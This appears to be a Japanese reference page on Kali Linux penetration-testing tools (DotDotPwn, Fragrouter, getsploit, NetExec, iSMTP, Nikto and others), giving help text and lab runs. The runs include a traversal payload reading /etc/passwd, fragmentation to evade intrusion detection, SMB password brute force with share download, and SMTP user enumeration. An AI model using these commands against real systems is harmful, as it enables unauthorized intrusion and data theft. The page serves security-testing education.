[--->] DHCP_Discover
[<---] DHCP_Offer   02:42:ac:13:00:02   0.0.0.0 IP: 192.168.50.3 for MAC=[de:ad:02:14:dd:5b:00:00:00:00:00:00:00:00:00:00]
[--->] DHCP_Request 192.168.50.3
[--->] DHCP_Discover
[<---] DHCP_Offer   02:42:ac:13:00:02   0.0.0.0 IP: 192.168.50.4 for MAC=[de:ad:1c:4b:c5:94:00:00:00:00:00:00:00:00:00:00]
[--->] DHCP_Request 192.168.50.4
[--->] DHCP_Discover
[...]
[--->] DHCP_Discover
[ -- ] timeout waiting on dhcp packet count 2
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[ -- ] timeout waiting on dhcp packet count 3
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[--->] DHCP_Discover
[ -- ] timeout waiting on dhcp packet count 4
[ ?? ]                  waiting for DHCP pool exhaustion...
[ -- ] [DONE] DHCP pool exhausted!

DotDotPwn

Webアプリケーションに対してディレクトリトラバーサルの様々なペイロードを実行します。

■ 使用方法

root@kali:~# dotdotpwn --help

Usage: ./dotdotpwn.pl -m <module> -h <host> [OPTIONS]
        Available options:
        -m      Module [http | http-url | ftp | tftp | payload | stdout]
        -h      Hostname
        -O      Operating System detection for intelligent fuzzing (nmap)
        -o      Operating System type if known ("windows", "unix" or "generic")
        -s      Service version detection (banner grabber)
        -d      Depth of traversals (e.g. deepness 3 equals to ../../../; default: 6)
        -f      Specific filename (e.g. /etc/motd; default: according to OS detected, defaults in TraversalEngine.pm)
        -E      Add @Extra_files in TraversalEngine.pm (e.g. web.config, httpd.conf, etc.)
        -S      Use SSL for HTTP and Payload module (not needed for http-url, use a https:// url instead)
        -u      URL with the part to be fuzzed marked as TRAVERSAL (e.g. http://foo:8080/id.php?x=TRAVERSAL&y=31337)
        -k      Text pattern to match in the response (http-url & payload modules - e.g. "root:" if trying /etc/passwd)
        -p      Filename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword
        -x      Port to connect (default: HTTP=80; FTP=21; TFTP=69)
        -t      Time in milliseconds between each test (default: 300 (.3 second))
        -X      Use the Bisection Algorithm to detect the exact deepness once a vulnerability has been found
        -e      File extension appended at the end of each fuzz string (e.g. ".php", ".jpg", ".inc")
        -U      Username (default: 'anonymous')
        -P      Password (default: 'dot@dot.pwn')
        -M      HTTP Method to use when using the 'http' module [GET | POST | HEAD | COPY | MOVE] (default: GET)
        -r      Report filename (default: 'HOST_MM-DD-YYYY_HOUR-MIN.txt')
        -b      Break after the first vulnerability is found
        -q      Quiet mode (doesn\'t print each attempt)
        -C      Continue if no data was received from host

■ 使用例

# 脆弱性テストを行うサーバーに送信するリクエストヘッダー
# ?page=TRAVERSALのTRAVERSALの部分が攻撃用のペイロードに置換される
root@kali:~# cat payload.txt 
GET /vulnerabilities/fi/?page=TRAVERSAL HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh;q=0.5
Cache-Control: max-age=0
Connection: keep-alive
Cookie: PHPSESSID=oj9u2u36v2fu15c20q52pg33a7; security=low
Host: 192.168.11.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36

# レスポンスに"root:"が含まれている場合は脆弱性ありと判断して終了する
root@kali:~# dotdotpwn -m payload -h 192.168.11.4 -x 80 -b -p payload.txt -k "root:" -f /etc/passwd
[...]

[+] Report name: Reports/192.168.11.4_09-29-2024_03-17.txt

[========== TARGET INFORMATION ==========]
[+] Hostname: 192.168.11.4
[+] Protocol: N/A
[+] Port: 80

[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Appending '/etc/passwd' to the Traversal Strings
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 5514

[=========== TESTING RESULTS ============]
[+] Ready to launch 3.33 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)

[*] Payload with: ../etc/passwd
[*] Payload with: ../../etc/passwd
[*] Payload with: ../../../etc/passwd
[*] Payload with: ../../../../etc/passwd

[*] VULNERABLE PAYLOAD:
GET /vulnerabilities/fi/?page=../../../../../etc/passwd HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh;q=0.5
Cache-Control: max-age=0
Connection: keep-alive
Cookie: PHPSESSID=oj9u2u36v2fu15c20q52pg33a7; security=low
Host: 192.168.11.4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36



[+] Fuzz testing finished after 0.43 minutes (26 seconds)
[+] Total Traversals found: 1
[+] Report saved: Reports/192.168.11.4_09-29-2024_03-17.txt

実際にpayloadの/vulnerabilities/fi/?page=../../../../../etc/passwdを試した結果

Fragrouter

IPパケットをフラグメント化したデータストリームに変換して転送します（フラグメントパケットを的確に処理できないIDSのルールを回避する）。

■ 使用方法

root@kali:~# fragrouter

Usage: fragrouter [-i interface] [-p] [-g hop] [-G hopcount] ATTACK

 where ATTACK is one of the following:

 -B1: base-1: normal IP forwarding
 -F1: frag-1: ordered 8-byte IP fragments
 -F2: frag-2: ordered 24-byte IP fragments
 -F3: frag-3: ordered 8-byte IP fragments, one out of order
 -F4: frag-4: ordered 8-byte IP fragments, one duplicate
 -F5: frag-5: out of order 8-byte fragments, one duplicate
 -F6: frag-6: ordered 8-byte fragments, marked last frag first
 -F7: frag-7: ordered 16-byte fragments, fwd-overwriting
 -T1: tcp-1:  3-whs, bad TCP checksum FIN/RST, ordered 1-byte segments
 -T3: tcp-3:  3-whs, ordered 1-byte segments, one duplicate
 -T4: tcp-4:  3-whs, ordered 1-byte segments, one overwriting
 -T5: tcp-5:  3-whs, ordered 2-byte segments, fwd-overwriting
 -T7: tcp-7:  3-whs, ordered 1-byte segments, interleaved null segments
 -T8: tcp-8:  3-whs, ordered 1-byte segments, one out of order
 -T9: tcp-9:  3-whs, out of order 1-byte segments
 -C2: tcbc-2: 3-whs, ordered 1-byte segments, interleaved SYNs
 -C3: tcbc-3: ordered 1-byte null segments, 3-whs, ordered 1-byte segments
 -R1: tcbt-1: 3-whs, RST, 3-whs, ordered 1-byte segments
 -I2: ins-2:  3-whs, ordered 1-byte segments, bad TCP checksums
 -I3: ins-3:  3-whs, ordered 1-byte segments, no ACK set
 -M1: misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/
 -M2: misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/

■ 使用例

# ホスト２でルーターを起動
root@kali_2:~# fragrouter -i eth0 -F1
fragrouter: frag-1: ordered 8-byte IP fragments

# ホスト１でホスト３へのトラフィックをfragrouter（ホスト２）を経由するように変更
root@kali_1:~# ip route add 192.168.11.5 via 192.168.11.4 dev eth0
# ホスト３にPING
root@kali_1:~# ping 192.168.11.5 -c 1
PING 192.168.11.5 (192.168.11.5) 56(84) bytes of data.
64 bytes from 192.168.11.5: icmp_seq=1 ttl=64 time=0.080 ms

--- 192.168.11.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.080/0.080/0.080/0.000 ms

# fragrouterにログが表示される
root@kali_2:~# fragrouter -i eth0 -F1
fragrouter: frag-1: ordered 8-byte IP fragments
192.168.11.3 > 192.168.11.5: icmp: type 8 code 0 (frag 27452:8@0+)
192.168.11.3 > 192.168.11.5: (frag 27452:8@8+)
192.168.11.3 > 192.168.11.5: (frag 27452:8@16+)
192.168.11.3 > 192.168.11.5: (frag 27452:8@24+)
192.168.11.3 > 192.168.11.5: (frag 27452:8@32+)
192.168.11.3 > 192.168.11.5: (frag 27452:8@40+)
192.168.11.3 > 192.168.11.5: (frag 27452:8@48+)
192.168.11.3 > 192.168.11.5: (frag 27452:8@56)

# ホスト３のダンプ（８バイトに分割されている）
root@kali_3:~# tcpdump -n -i eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
09:00:34.181539 IP 192.168.11.3 > 192.168.11.5: ICMP echo request, id 14, seq 1, length 64
09:00:34.181567 IP 192.168.11.5 > 192.168.11.3: ICMP echo reply, id 14, seq 1, length 64
09:00:34.436110 IP 192.168.11.3 > 192.168.11.5: ICMP echo request, id 14, seq 1, length 8
09:00:34.436112 IP 192.168.11.3 > 192.168.11.5: ip-proto-1
09:00:34.436113 IP 192.168.11.3 > 192.168.11.5: ip-proto-1
09:00:34.436113 IP 192.168.11.3 > 192.168.11.5: ip-proto-1
09:00:34.436113 IP 192.168.11.3 > 192.168.11.5: ip-proto-1
09:00:34.436114 IP 192.168.11.3 > 192.168.11.5: ip-proto-1
09:00:34.436114 IP 192.168.11.3 > 192.168.11.5: ip-proto-1
09:00:34.436115 IP 192.168.11.3 > 192.168.11.5: ip-proto-1
09:00:34.436128 IP 192.168.11.5 > 192.168.11.3: ICMP echo reply, id 14, seq 1, length 64

getsploit

エクスプロイトの検索およびダウンロードを行います。

■ 使用方法

root@kali:~# getsploit --help

Options:
  -h, --help            show this help message and exit
  -t, --title           Search JUST the exploit title (Default is description
                        and source code).
  -j, --json            Show result in JSON format.
  -m, --mirror          Mirror (aka copies) search result exploit files to the
                        subdirectory with your search query name.
  -c COUNT, --count=COUNT
                        Search limit. Default 10.
  -l, --local           Perform search in the local database instead of
                        searching online.
  -u, --update          Update getsploit.db database. Will be downloaded in
                        the script path.

■ 使用例

root@kali:~# getsploit laravel
To use getsploit you need to obtain Vulners API key at https://vulners.com
Please, enter API key: *****************
Total found exploits: 10
Web-search URL: https://vulners.com/search?query=bulletinFamily%3Aexploit+AND+laravel
+----------------------+--------------------------------+------------------------------------------------------------------------+
|          ID          |         Exploit Title          |                                  URL                                   |
+======================+================================+========================================================================+
| 2566E785-0AA3-54BD-  | Exploit for Unrestricted       | https://vulners.com/githubexploit/2566E785-0AA3-54BD-994A-D636B5656220 |
|  994A-D636B5656220   | Upload of File with Dangerous  |                                                                        |
|                      | Type in Laravel-Admin          |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
| 17EE6C09-2538-52A3-  | Exploit for CVE-2021-3129      | https://vulners.com/githubexploit/17EE6C09-2538-52A3-8C5C-973170ACDF29 |
|  8C5C-973170ACDF29   |                                |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
| 35896337-DA85-5D42-  | Exploit for CVE-2021-3129      | https://vulners.com/githubexploit/35896337-DA85-5D42-B9FC-4DF2E3EC881E |
|  B9FC-4DF2E3EC881E   |                                |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
| F87C6B04-4AFB-5235-  | Exploit for CVE-2021-3129      | https://vulners.com/githubexploit/F87C6B04-4AFB-5235-8E72-31C29A8028B5 |
|  8E72-31C29A8028B5   |                                |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
| 272FC334-4DD4-570F-  | Exploit for CVE-2021-3129      | https://vulners.com/githubexploit/272FC334-4DD4-570F-AB53-1BF7758BA869 |
|  AB53-1BF7758BA869   |                                |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
| CCA6FED9-9A16-59E2-  | Exploit for Unrestricted       | https://vulners.com/githubexploit/CCA6FED9-9A16-59E2-8C2C-2783C8B3C19A |
|  8C2C-2783C8B3C19A   | Upload of File with Dangerous  |                                                                        |
|                      | Type in Laravel Framework      |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
| 156C1F8E-E328-5619-  | Exploit for CVE-2021-3129      | https://vulners.com/githubexploit/156C1F8E-E328-5619-AAD0-B7C3DF011B08 |
|  AAD0-B7C3DF011B08   |                                |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
|   1337DAY-ID-39623   | FleetCart 4.1.1 Information    |                https://vulners.com/zdt/1337DAY-ID-39623                |
|                      | Disclosure Vulnerability       |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
| 7495BDC7-BA22-5D7D-  | Exploit for CVE-2021-3129      | https://vulners.com/githubexploit/7495BDC7-BA22-5D7D-92B8-B3FD263480F9 |
|  92B8-B3FD263480F9   |                                |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+
|  PACKETSTORM:178770  | FleetCart 4.1.1 Information    |           https://vulners.com/packetstorm/PACKETSTORM:178770           |
|                      | Disclosure                     |                                                                        |
+----------------------+--------------------------------+------------------------------------------------------------------------+


root@kali:~# getsploit -m laravel
root@kali:~# ls ./laravel
1337day-id-39623.txt                      2566e785-0aa3-54bd-994a-d636b5656220.txt  7495bdc7-ba22-5d7d-92b8-b3fd263480f9.txt  packetstorm178770.txt
156c1f8e-e328-5619-aad0-b7c3df011b08.txt  272fc334-4dd4-570f-ab53-1bf7758ba869.txt  cca6fed9-9a16-59e2-8c2c-2783c8b3c19a.txt
17ee6c09-2538-52a3-8c5c-973170acdf29.txt  35896337-da85-5d42-b9fc-4df2e3ec881e.txt  f87c6b04-4afb-5235-8e72-31c29a8028b5.txt

humble

HTTPレスポンスヘッダーのチェックを行います。

■ 使用方法

root@kali:~# humble --help
usage: humble.py [-h] [-a] [-b] [-df] [-e [TESTSSL_PATH]] [-f [FINGERPRINT_TERM]] [-g] [-grd] [-l {es}] [-lic] [-o {csv,html,json,pdf,txt}]
                 [-op OUTPUT_PATH] [-r] [-s [SKIP_HEADERS ...]] [-u URL] [-ua USER_AGENT] [-v]

options:
  -h, --help                  show this help message and exit
  -a                          Shows statistics of the performed analysis; will be global if the '-u' parameter is omitted
  -b                          Shows overall findings; if this parameter is omitted detailed ones will be shown
  -df                         Do not follow redirects; if this parameter is omitted the last redirection will be the one analyzed
  -e [TESTSSL_PATH]           Shows TLS/SSL checks; requires the PATH of https://testssl.sh/
  -f [FINGERPRINT_TERM]       Shows fingerprint statistics; will be the Top 20 if 'FINGERPRINT_TERM', e.g. 'Google', is omitted
  -g                          Shows guidelines for enabling security HTTP response headers on popular servers/services
  -grd                        Shows the checks to grade an analysis, along with advice for improvement
  -l {es}                     Defines the language for displaying analysis, errors and messages; will be English if this parameter is omitted
  -lic                        Shows the license for 'humble', along with permissions, limitations and conditions.
  -o {csv,html,json,pdf,txt}  Exports analysis to 'humble_scheme_URL_port_yyyymmdd_hhmmss_language.ext' file; csv/json will have a brief
                              analysis
  -op OUTPUT_PATH             Exports analysis to 'OUTPUT_PATH'; if this parameter is omitted the PATH of 'humble.py' will be used
  -r                          Shows HTTP response headers and a detailed analysis; '-b' parameter will take priority
  -s [SKIP_HEADERS ...]       Skips 'deprecated/insecure' and 'missing' checks for the indicated 'SKIP_HEADERS' (separated by spaces)
  -u URL                      Scheme, host and port to analyze. E.g. https://google.com
  -ua USER_AGENT              User-Agent ID from 'additional/user_agents.txt' file to use. '0' will show all and '1' is the default
  -v, --version               Checks for updates at https://github.com/rfc-st/humble

examples:
  -a -l es                    Shows statistics (in Spanish) of the analysis performed against all URLs
  -f Google                   Shows HTTP fingerprint headers related to the term 'Google'
  -u URL -a                   Shows statistics of the analysis performed against the URL
  -u URL -b                   Analyzes the URL and reports overall findings
  -u URL -b -o csv            Analyzes the URL and exports overall findings to CSV
  -u URL -l es                Analyzes the URL and reports (in Spanish) detailed findings
  -u URL -o pdf               Analyzes the URL and exports detailed findings to PDF
  -u URL -r                   Analyzes the URL and reports detailed findings along with HTTP response headers
  -u URL -s ETag NEL          Analyzes the URL and skips 'deprecated/insecure' and 'missing' checks for 'ETag' and 'NEL' headers
  -u URL -ua 4                Analyzes the URL using the fourth User-Agent of 'additional/user_agents.txt' file

■ 使用例

root@kali:~# humble -u http://192.168.11.4 -b

[1. Missing HTTP Security Headers]

 Cache-Control
 Clear-Site-Data
 Cross-Origin-Embedder-Policy
 Cross-Origin-Opener-Policy
 Cross-Origin-Resource-Policy
 Content-Security-Policy
 NEL (Experimental HTTP header)
 Permissions-Policy
 Referrer-Policy
 Strict-Transport-Security
 X-Content-Type-Options
 X-Permitted-Cross-Domain-Policies
 X-Frame-Options

[2. Fingerprint HTTP Response Headers]

 Server

[3. Deprecated HTTP Response Headers/Protocols and Insecure Values]

 Set-Cookie (Insecure Attributes)
 Vary (Potentially Unsafe Header)

[4. Empty HTTP Response Headers Values]

 Nothing to report, all seems OK!

[5. Browser Compatibility for Enabled HTTP Security Headers]

 Content-Type: https://caniuse.com/?search=Content-Type
 Set-Cookie: https://caniuse.com/?search=Set-Cookie
 Vary: https://caniuse.com/?search=Vary

Analysis done in 0.79 seconds! (changes with respect to the last analysis in parentheses)

  Missing headers:              13 (First Analysis)
  Fingerprint headers:          1 (First Analysis)
  Deprecated/Insecure headers:  2 (First Analysis)
  Empty headers:                0 (First Analysis)

  Findings to review:           16 (First Analysis)

  Analysis Grade:               D (Review 'Deprecated/Insecure headers')

ident-user-enum

identサービス (113/TCP) に問い合わせを行い指定したポートをリッスンしているプロセスのオーナーを割り出します。

■ 使用方法

root@kali:~# ident-user-enum --help

Usage: ident-user-enum.pl ip port [ port [ port ... ] ]

■ 使用方法

root@kali:~# ident-user-enum 192.168.11.4 21 22 23 25 80 3306 5432
192.168.11.4:21   root
192.168.11.4:22   root
192.168.11.4:23   root
192.168.11.4:25   postfix
192.168.11.4:80   <unknown>
192.168.11.4:3306 mysql
192.168.11.4:5432 postgres

iSMTP

SMTPユーザー列挙（RCPT TOおよびVRFY）、内部スプーフィング、オープンリレーのテストを行います。

■ 使用方法

root@kali:~# ismtp

 Usage: ./iSMTP.py <OPTIONS>

 Required:

        -f <import file>        Imports a list of SMTP servers for testing.
                                (Cannot use with '-h'.)
        -h <host>               The target IP and port (IP:port).
                                (Cannot use with '-f'.)

 Spoofing:

        -i <consultant email>   The consultant\'s email address.
        -s <sndr email>         The sender\'s email address.
        -r <rcpt email>         The recipient\'s email address.
           --sr <email>         Specifies both the sender's and recipient\'s email address.
        -S <sndr name>          The sender\'s first and last name.
        -R <rcpt name>          The recipient\'s first and last name.
           --SR <name>          Specifies both the sender\'s and recipient\'s first and last name.
        -m                      Enables SMTP spoof testing.
        -a                      Includes .txt attachment with spoofed email.

 SMTP enumeration:

        -e <file>       Enable SMTP user enumeration testing and imports email list.
        -l <1|2|3>      Specifies enumeration type (1 = VRFY, 2 = RCPT TO, 3 = all).
                        (Default is 3.)

 SMTP relay:

        -i <consultant email>   The consultant\'s email address.
        -x                      Enables SMTP external relay testing.

 Misc:

        -t <secs>       The timeout value. (Default is 10.)
        -o              Creates "ismtp-results" directory and writes output to
                        ismtp-results/smtp_<service>_<ip>(port).txt

■ 使用例

root@kali:~# ismtp -h 192.168.11.4 -e emails.txt -l 2

 Testing SMTP server [user enumeration]: 192.168.11.4:25
 Emails provided for testing: 2

 Performing SMTP RCPT TO test...

 [+] hello@localhost --- [ valid ]
 [-] halo@localhost ---- [ invalid ]

 Completed SMTP user enumeration test.

jSQL Injection

標的となるアプリケーションのSQLインジェクションの脆弱性を利用してDBの情報を窃取します。

■ 使用例

脆弱性のあるアプリケーションからDB一覧およびテーブル一覧を窃取

mxcheck

メールサーバーに関する情報をスキャンしてDNSレコード（A/MX/PTR/SPF/MTA-STS/DKIM/DMARC）や開いているポート、オープンリレーの有無などを表示します。

■ 使用方法

root@kali:~# mxcheck --help

Usage of mxcheck:
  -b, --blacklist              Check if the service is on blacklists
  -S, --dkim-selector string   The DKIM selector. If set a DKIM check is performed on the provided service domain
  -d, --dnsserver string       The dns server to be requested (default "8.8.8.8")
  -f, --mailfrom string        Set the mailFrom address (default "info@foo.wtf")
  -t, --mailto string          Set the mailTo address (default "info@baz.wtf")
  -n, --no-prompt              Answer yes to all questions
  -s, --service string         The service host to check
  -u, --updatecheck            Check for new version of mxcheck
  -v, --version                Version and license
  -w, --write-tsv              Write tsv formated report to file

■ 使用例

root@kali:~# mxcheck -s *****.dev -n

INFO:  2024/10/25 07:12:46 == Checking: *****.dev ==
INFO:  2024/10/25 07:12:46 Found MX:
INFO:  2024/10/25 07:12:46          *****.ne.jp.
INFO:  2024/10/25 07:12:46 == Checking DMARC record ==
INFO:  2024/10/25 07:12:46 DMARC set
INFO:  2024/10/25 07:12:46 _dmarc.*****.dev.  300     IN      TXT     "v=DMARC1; p=none; rua=mailto:eea8b9f981e94fd6ae64d9652012ca88@dmarc-reports.cloudflare.net"
INFO:  2024/10/25 07:12:46 == Checking for A record ==
INFO:  2024/10/25 07:12:46 IP address MX: ***.***.***.***
INFO:  2024/10/25 07:12:46 AS Number: 9371
INFO:  2024/10/25 07:12:46 AS Country: JP
INFO:  2024/10/25 07:12:46 == Checking for PTR record ==
INFO:  2024/10/25 07:12:46 PTR entry: *****.ne.jp.
INFO:  2024/10/25 07:12:46 PTR matches MX record
INFO:  2024/10/25 07:12:46 == Checking for SPF record ==
INFO:  2024/10/25 07:12:46 SPF set
INFO:  2024/10/25 07:12:46 *****.dev. 300     IN      TXT     "v=spf1 a:*****.ne.jp mx ~all"
INFO:  2024/10/25 07:12:46 == Checking for MTA-STS ==
INFO:  2024/10/25 07:12:46 MTA-STS not set
INFO:  2024/10/25 07:12:46 == Checking for open e-mail ports ==
INFO:  2024/10/25 07:12:46 Open ports: [25 465 587]
INFO:  2024/10/25 07:12:46 == Checking for open relay on port 25 ==
INFO:  2024/10/25 07:12:57 Server Banner: 220 *****.ne.jp ESMTP Sendmail 8.16.1/8.16.1; Fri, 25 Oct 2024 16:12:47 +0900 (JST)
INFO:  2024/10/25 07:12:57 Fake sender not accepted.
INFO:  2024/10/25 07:12:57 Recipient not accepted. Skipped further open relay tests.
INFO:  2024/10/25 07:12:57 Server is not an open relay
INFO:  2024/10/25 07:12:57 == Checking for STARTTLS on port 25 ==
INFO:  2024/10/25 07:12:57 STARTTLS supported
INFO:  2024/10/25 07:12:57 STARTTLS - TLS Version: TLS 1.2
INFO:  2024/10/25 07:12:57 Certificate is valid
INFO:  2024/10/25 07:12:57 == Checking for VRFY support ==
INFO:  2024/10/25 07:12:57 VRFY command not supported.
INFO:  2024/10/25 07:12:57 == Checking for TLS support on port 465 ==
INFO:  2024/10/25 07:12:57 SMTPS supported
INFO:  2024/10/25 07:12:57 SMTPS TLS certificate valid
INFO:  2024/10/25 07:12:57 SMTPS TLS Version: TLS 1.2

INFO:  2024/10/25 07:12:57 Test finished.

NetExec

FTP/SSH/SMB/RDP/VNC/LDAP/NFSなどのネットワークサービスに対応したエクスプロイトツールです。

■ 使用方法

root@kali:~# nxc --help

usage: nxc [-h] [--version] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--verbose] [--debug] [--no-progress] [--log LOG] [-6]
           [--dns-server DNS_SERVER] [--dns-tcp] [--dns-timeout DNS_TIMEOUT]
           {wmi,ldap,nfs,rdp,vnc,mssql,smb,ftp,ssh,winrm} ...
		   
options:
  -h, --help            show this help message and exit

Generic:
  Generic options for nxc across protocols

  --version             Display nxc version
  -t THREADS, --threads THREADS
                        set how many concurrent threads to use
  --timeout TIMEOUT     max timeout in seconds of each thread
  --jitter INTERVAL     sets a random delay between each authentication

Output:
  Options to set verbosity levels and control output

  --verbose             enable verbose output
  --debug               enable debug level information
  --no-progress         do not displaying progress bar during scan
  --log LOG             export result into a custom file

DNS:
  -6                    Enable force IPv6
  --dns-server DNS_SERVER
                        Specify DNS server (default: Use hosts file & System DNS)
  --dns-tcp             Use TCP instead of UDP for DNS queries
  --dns-timeout DNS_TIMEOUT
                        DNS query timeout in seconds

Available Protocols:
  {wmi,ldap,nfs,rdp,vnc,mssql,smb,ftp,ssh,winrm}
    wmi                 own stuff using WMI
    ldap                own stuff using LDAP
    nfs                 own stuff using NFS
    rdp                 own stuff using RDP
    vnc                 own stuff using VNC
    mssql               own stuff using MSSQL
    smb                 own stuff using SMB
    ftp                 own stuff using FTP
    ssh                 own stuff using SSH
    winrm               own stuff using WINRM

■ 使用例

# 単語リストを使用して認証情報を特定
root@kali:~# nxc smb 192.168.11.4  -u users.txt -p passwords.txt
SMB         192.168.11.4      445    AAB548E9463C     [*] Unix (name:AAB548E9463C) (domain:AAB548E9463C) (signing:False) (SMBv1:True)
SMB         192.168.11.4      445    AAB548E9463C     [-] AAB548E9463C\hoge:hoge STATUS_LOGON_FAILURE
[...]
SMB         192.168.11.4      445    AAB548E9463C     [+] AAB548E9463C\hello:hello

# 特定した認証情報を使って共有フォルダの一覧を取得
root@kali:~# nxc smb 192.168.11.4  -u hello -p hello --shares
SMB         192.168.11.4      445    AAB548E9463C     [*] Unix (name:AAB548E9463C) (domain:AAB548E9463C) (signing:False) (SMBv1:True)
SMB         192.168.11.4      445    AAB548E9463C     [+] AAB548E9463C\hello:hello
SMB         192.168.11.4      445    AAB548E9463C     [*] Enumerated shares
SMB         192.168.11.4      445    AAB548E9463C     Share           Permissions     Remark
SMB         192.168.11.4      445    AAB548E9463C     -----           -----------     ------
SMB         192.168.11.4      445    AAB548E9463C     print$          READ            Printer Drivers
SMB         192.168.11.4      445    AAB548E9463C     tmp             READ,WRITE      oh noes!
SMB         192.168.11.4      445    AAB548E9463C     opt             READ
SMB         192.168.11.4      445    AAB548E9463C     IPC$                            IPC Service (aab548e9463c server (Samba 3.0.20-Debian))
SMB         192.168.11.4      445    AAB548E9463C     ADMIN$                          IPC Service (aab548e9463c server (Samba 3.0.20-Debian))
SMB         192.168.11.4      445    AAB548E9463C     hello           READ,WRITE      Home Directories

# 共有フォルダ内のファイルをダウンロード
root@kali:~# nxc smb 192.168.11.4  -u hello -p hello -M spider_plus -o DOWNLOAD_FLAG=True EXCLUDE_FILTER=print$,tmp,opt,IPC$,ADMIN$ OUTPUT_FOLDER=/tmp/smb
SMB         192.168.11.4      445    AAB548E9463C     [*] Unix (name:AAB548E9463C) (domain:AAB548E9463C) (signing:False) (SMBv1:True)
SMB         192.168.11.4      445    AAB548E9463C     [+] AAB548E9463C\hello:hello
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [*] Started module spidering_plus with the following options:
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [*]     STATS_FLAG: True
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [*] EXCLUDE_FILTER: ['print$', 'tmp', 'opt', 'ipc$', 'admin$']
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [*]  OUTPUT_FOLDER: /tmp/smb
SMB         192.168.11.4      445    AAB548E9463C     [*] Enumerated shares
[...]
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [*] Downloads successful: 4
SPIDER_PLUS 192.168.11.4      445    AAB548E9463C     [+] All files processed successfully.

root@kali:~# ls /tmp/smb/192.168.11.4/hello/
hello.txt

Nikto

Webアプリケーションに対してセキュリティスキャンを行います。

■ 使用方法

root@kali:~# nikto --help

   Options:
       -ask+               Whether to ask about submitting updates
                               yes   Ask about each (default)
                               no    Don\'t ask, don\'t send
                               auto  Don\'t ask, just send
       -check6             Check if IPv6 is working (connects to ipv6.google.com or value set in nikto.conf)
       -Cgidirs+           Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/"
       -config+            Use this config file
       -Display+           Turn on/off display outputs:
                               1     Show redirects
                               2     Show cookies received
                               3     Show all 200/OK responses
                               4     Show URLs which require authentication
                               D     Debug output
                               E     Display all HTTP errors
                               P     Print progress to STDOUT
                               S     Scrub output of IPs and hostnames
                               V     Verbose output
       -dbcheck           Check database and other key files for syntax errors
       -evasion+          Encoding technique:
                               1     Random URI encoding (non-UTF8)
                               2     Directory self-reference (/./)
                               3     Premature URL ending
                               4     Prepend long random string
                               5     Fake parameter
                               6     TAB as request spacer
                               7     Change the case of the URL
                               8     Use Windows directory separator (\)
                               A     Use a carriage return (0x0d) as a request spacer
                               B     Use binary value 0x0b as a request spacer
        -followredirects   Follow 3xx redirects to new location
        -Format+           Save file (-o) format:
                               csv   Comma-separated-value
                               json  JSON Format
                               htm   HTML Format
                               nbe   Nessus NBE format
                               sql   Generic SQL (see docs for schema)
                               txt   Plain text
                               xml   XML Format
                               (if not specified the format will be taken from the file extension passed to -output)
       -Help              This help information
       -host+             Target host/URL
       -id+               Host authentication to use, format is id:pass or id:pass:realm
       -ipv4                 IPv4 Only
       -ipv6                 IPv6 Only
       -key+              Client certificate key file
       -list-plugins      List all available plugins, perform no testing
       -maxtime+          Maximum testing time per host (e.g., 1h, 60m, 3600s)
       -mutate+           Guess additional file names:
       -mutate-options    Provide information for mutates
       -nointeractive     Disables interactive features
       -nolookup          Disables DNS lookups
       -nossl             Disables the use of SSL
       -noslash           Strip trailing slash from URL (e.g., '/admin/' to '/admin')
       -no404             Disables nikto attempting to guess a 404 page
       -Option            Over-ride an option in nikto.conf, can be issued multiple times
       -output+           Write output to this file ('.' for auto-name)
       -Pause+            Pause between tests (seconds)
       -Plugins+          List of plugins to run (default: ALL)
